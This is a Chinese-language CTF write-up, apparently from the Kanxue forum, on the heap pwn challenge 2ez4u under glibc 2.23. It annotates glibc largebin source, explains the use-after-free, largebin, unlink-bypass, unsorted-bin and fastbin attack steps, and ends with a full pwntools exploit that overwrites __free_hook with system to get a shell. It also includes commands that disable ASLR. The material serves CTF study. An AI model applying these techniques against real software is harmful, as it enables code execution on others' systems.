一道pwn題目2e4zu的深入分析

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時間 2022-05-25 18:35:39 看雪學苑

本文為看雪論壇精華文章
看雪論壇作者ID：Nameless_a

largebin attack

這個玩意真的折磨，聽pwn說這個用的不多，不過可以通過學習它對unlink有一個更加深入的瞭解。

largebin 的插入管理機制

一開始學的時候，看各個部落格師傅的講解，大同小異但是都能看明白。各個師傅都有對libc裡面largebin插入操作的原始碼的分析。不過本人才疏學淺，一開始屬實都沒看懂，於是自己找原始碼看了看。現在同樣以註釋的方式記錄一下自己對原始碼（glibc 2.33）的分析。

            if (in_largebin_range (size)) //判斷是否屬於largebin
            {
              victim_index = largebin_index (size); //尋找當前size在largebin中的
              bck = bin_at (av, victim_index); //尋找main_arena
              fwd = bck->fd;//size最大的chunk的地址
 
              /* maintain large bins in sorted order */
              if (fwd != bck) //如果表不為空
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
 < (unsigned long) chunksize_nomask(bck->bk))//bck->bk是當前最小的chunk，如果size比它還小，那麼直接插入到表尾
                    {
                      fwd = bck;//感覺這個不符合我自己的編碼習慣，如果我寫我肯定fwd=bck->fd，也好理解一些
                      bck = bck->bk;
 
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
//總的來說，就是連結串列的插入操作
                    }
                  else//如果不是最小，那就由小到大找到第一個比它小的插在它的前面
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }
 
                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;//如果說是已經存在相同大小的chunk，就縱向插入
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//這個檢查好像和unlink一樣，都是檢查fwd的指標有沒有被惡意修改
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;//這裡的bck是用來縱向插入的
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");//同樣是縱向檢查指標有沒有被惡意修改
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;//如果表為空，那麼指標自指
            }
 
          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;//不管到底有沒有重複，都進行一次縱向連結，保證一些指標為NULL

其實可以理解為縱向連結和橫向連結。就是一個繩子上用鏈條（fd_nextsize和bk_nextsize）掛著大小不同的珠子，大小相同的珠子通過磁力（fd和bk指標）又掛在一起。這個就是largebin的插入管理機制。

關於對指標惡意修改的檢測，貌似只有2.29以後才有。

如何從largebin取出堆塊

這裡預設能夠從largebin中取出。

先找到相應的index，在index中從小到大遍歷堆塊，找到第一個比所需大小大（或等於）的堆塊。然後unlink，和其它的bins一樣，存在著對fd，bk，fd_nextsize以及bk_nextsize的檢測。

對取下的chunk如果大小不等於申請的size，那就存在著切割操作。如果剩餘大小大於MINSIZE。則返還給unsorted bin，否則一併給使用者。

largebin的利用手法

（1）申請偽造的堆塊來洩露堆地址（glibc2.23）

如果有兩個連續的chunk1，2。記憶體中地址的排布為chunk1位於高地址，如果我們能夠在chunk1中偽造一個chunk，並且能夠申請到它。那麼如果chunk2是位於雙向連結串列維護的bin中，就可以leak libc了。

那麼如何才能申請到偽造的堆塊呢？就要利用到largebin的分配機制了。

如果是通過在largebin裡取出一塊大小為size的chunk，系統會從size最小的chunk開始，通過bk_nextsize指標，不斷尋找第一塊size不小於所需size的chunk，然後分配給使用者。如果我們把bk_nextsize設定為fake_chunk，即可完成fake_chunk的呼叫。

不過沒這麼簡單，取下這個chunk要經過unlink，然而unlink存在對fd,bk,fd_nextsize,bk_nextsize指標的檢測，檢查p->fd->bk是否等於p等。

繞過p->fd-bk是否等於p這個和unsorted bin unlink差不多，都是找到一塊存fake_chunk的地址address，然後把fake_chunk的fd,bk指標分別置為address-0x18和address-0x10。

繞過p->fd_nextsize->bk_nexsize==p,則需要我們偽造一個堆塊，進行如上的連線。

有個小技巧，就是在取下fake_chunk的同時，我們可以把chunk2放入smallbin裡。做法就是先free chunk2，再通過add從largebin中取chunk，通過unsorted bin的大迴圈機制，放入smallbin就可洩露libc了。

如何關閉地址隨機化方便除錯

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

libc版本： libc2.23

思路

這題考察了 uaf，unlink，largebin attack，fastbin attack， unsortedbin attck ，還有smallbin的一些知識，屬於前期堆題技巧的一些彙總了（除了tcache沒涉及），所以很值得復現。

這題完全弄懂的話，前期的一些堆題的利用就沒啥問題了，可以開house of 系列了。所以有關這道題的題解我會認真去寫，儘可能的詳細，而且這道題博主本身也做了蠻久的，看網上有些師傅的wp都看了好久。

所以希望以這次復現為契機，好好的複習一下自己學過的堆塊的機制。

保護

習慣了。

ida

main

分別是add，delet，edit和show函式。

add

發現會形成如下結構體：

ymnh給的改結構體的教程 http://blog.csdn.net/liujiayu2/article/details/77488078 ，不過大師傅從來不用所以俺就延續大師傅的肉眼除錯了。

這道題堆塊的放入也是折磨人的一個點，它是用一個bool指標給陣列上的位置打標記。所以delet之後的重新add的位置就可能亂覆蓋一些我們想保留的東西，我們只能在之前新增幾個類似替罪羊的東西。但是這樣又要考察我們的堆佈局的能力，而且是牽一髮動全身的那種。

struct apple{
     int color;
     int num;
     int_64 value;
     int index;
     int_64 description;
}

delet

發現存在uaf漏洞（注意上面置為0的是在數組裡的標記，也就是前面add檢測該記憶體有沒有放過堆塊，之後的add有可能覆蓋這個記憶體上的堆塊地址，但是不會立馬清除），通過uaf我們能夠edit large chunk的bk_nextsize，實現largebin attack等。

show

注意這裡的description列印的是bk_nextsize,就不能用unsorted bin的fd或bk指標洩露libc了（但是ymnh試了試可以，據說是利用unsorted bin切割堆塊，但是俺還不會）。但是可以利用largebin洩露堆塊地址。

edit

和add差不大多所以就不提了

解題過程

堆佈局

這裡的堆佈局要注意幾個點：

（1）用largebin leak的堆的末尾地址不能為'\x00'否則會觸發截斷

（2）兩個地址連續的大堆塊放入unsorted bin會觸發合併

（3）delet的大堆塊不能和chunk_top相連否則會與之合併

（4）偽造的堆塊如果free，那麼必須滿足下下個堆塊的size的 preinsure==1（俺試出來的QAQ）

反正就是要不斷調整佈局，俺在leaklibc的過程中各種調整，每次調整都要改偽造的堆塊地址，簡直折磨。但這種東西你不可能一開始就想得很周到，只能做完了把exp改得漂亮一點，但這又有什麼意義呢。

洩露堆塊地址

利用largebin的bk_nextsize存放堆塊的機制，largechunk uaf洩露堆地址

洩露libc

通過偽造堆塊和fd,bk,fd_nextsize,bk_nextsize指標以及fake_chunk後面的堆塊的pre_size和size。反正核心就是繞過unlink的那幾個檢查。並且這幾個bin取堆塊基本上是通過bk或bk_nextsize指標。

值得注意的點是，讓#7與smallbin的main_arena相連應該在用padding覆蓋#2之後。因為這道題的read有一個'00'截斷，會影響puts的列印。

這裡還有一個unsorted bin大迴圈的機制，就是嘗試從unsorted bin中尋找堆塊失敗的話，會從fastbin中取出所有堆塊進入unsorted bin嘗試合併（只有地址連續的才能合併成功），未能合併的chunk會放入smallbin。利用small bin的雙鏈表機制洩露libc。

unsorted bin && fastbin attack

fastbin attack很好懂，主要是通過原來的堆塊往偽造的堆塊的fd指標寫值

unsorted bin attack 主要是破壞unsorted bin來實現bk指標指向的是free_hook上面的一段，從而能夠實現地址錯位繞過chunk的檢查。

exp

from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
r=process('./2ez4u')
libc=ELF('./libc-2.23.so')
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter("your choice: ",str(num))
 
def add(size,con):
    cho(1)
    r.recvuntil("color?(0:red, 1:green):")
    r.sendline(str(0))
    r.recvuntil("value?(0-999):")
    r.sendline(str(0))
    r.sendlineafter("num?(0-16):",str(0))
    r.sendlineafter("description length?(1-1024):",str(size))
    r.sendlineafter("description of the apple:",con)
 
def delet(idx):
    cho(2)
    r.sendlineafter("which?(0-15):",str(idx))
 
def edit(idx,con):
    cho(3)
    r.sendlineafter("which?(0-15):",str(idx))
    r.recvuntil("color?(0:red, 1:green):")
    r.sendline(str(0))
    r.recvuntil("value?(0-999):")
    r.sendline(str(0))
    r.sendlineafter("num?(0-16):",str(0))
    r.sendlineafter("description of the apple:",con)
 
def show(idx):
    cho(4)
    r.sendlineafter("which?(0-15):",str(idx))
 
 
add(0x60,'0'*0x60)#0
add(0x60,'1'*0x60)#1
add(0x60,'2'*0x60)#2
add(0x60,'3'*0x60)#3
add(0x60,'4'*0x60)#4
add(0x60,'5'*0x60)#5
add(0x3f0,'nameless')#6
add(0x60,  '8'*0x60 )#7
add(0x3e0, '9'*0x1b0)#8
add(0x60,  '9'*0x80 )#9
add(0x3f0, "nameless")#a
add(0x60-0x18,  'b'*0x30 )#b
add(0x60-0x18,  'c'*0x30 )#c
add(0x60-0x18,  'd'*0x30 )#d
 
##leak_heapadress
delet(0)
delet(8)
delet(0xa)
add(0x400,'nameless') #0
show(0xa)
r.recvuntil('description:')
heap=u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x790
log.success('heap:'+hex(heap))
 
##leak_libc
fake_chunk=heap+0x130
chunk1=heap+0xc10 #10
chunk2=heap+0x1b0 #3
target=heap+0xb0
pd=p64(0)*2+p64(0x411)+p64(target-0x18)+p64(target-0x10)+p64(chunk1)+p64(chunk2)
edit(2,pd)
edit(0xa,p64(fake_chunk))
edit(1,p64(0)+p64(fake_chunk))
pd=p64(0)*2+p64(0x421)+p64(0)*2+p64(fake_chunk)
edit(3,pd)
edit(6,'6'*0x218+p64(0x410)+p64(0x411))
delet(5)
delet(3)
add(0x3f0,'3'*56)
add(0x60,'nameless')
show(3)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3a43a8-(libc.sym['__libc_start_main']+240)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
log.success('libcbase:'+hex(libcbase))
log.success('system:'+hex(system))
 
##unsortedbin attack
delet(3)
pd=p64(0)*2+p64(0x411)+p64(0)+p64(free_hook-0x48)
edit(2,pd)
add(0x3f0,'nameless')
 
##fastbin attack
pd=p64(0)+p64(0)+p64(0x71)
edit(2,pd)
edit(3,0x50*'a'+p64(0x431))
delet(3)
pd=p64(0)*2+p64(0x71)+p64(free_hook-0x3b)
edit(2,pd)
add(0x50,'/bin/sh\x00')
add(0x50,0x13*'a'+p64(system))
pd=p64(0)+p64(0)+p64(0x71)+'/bin/sh\x00'
edit(2,pd)
delet(3)
r.interactive()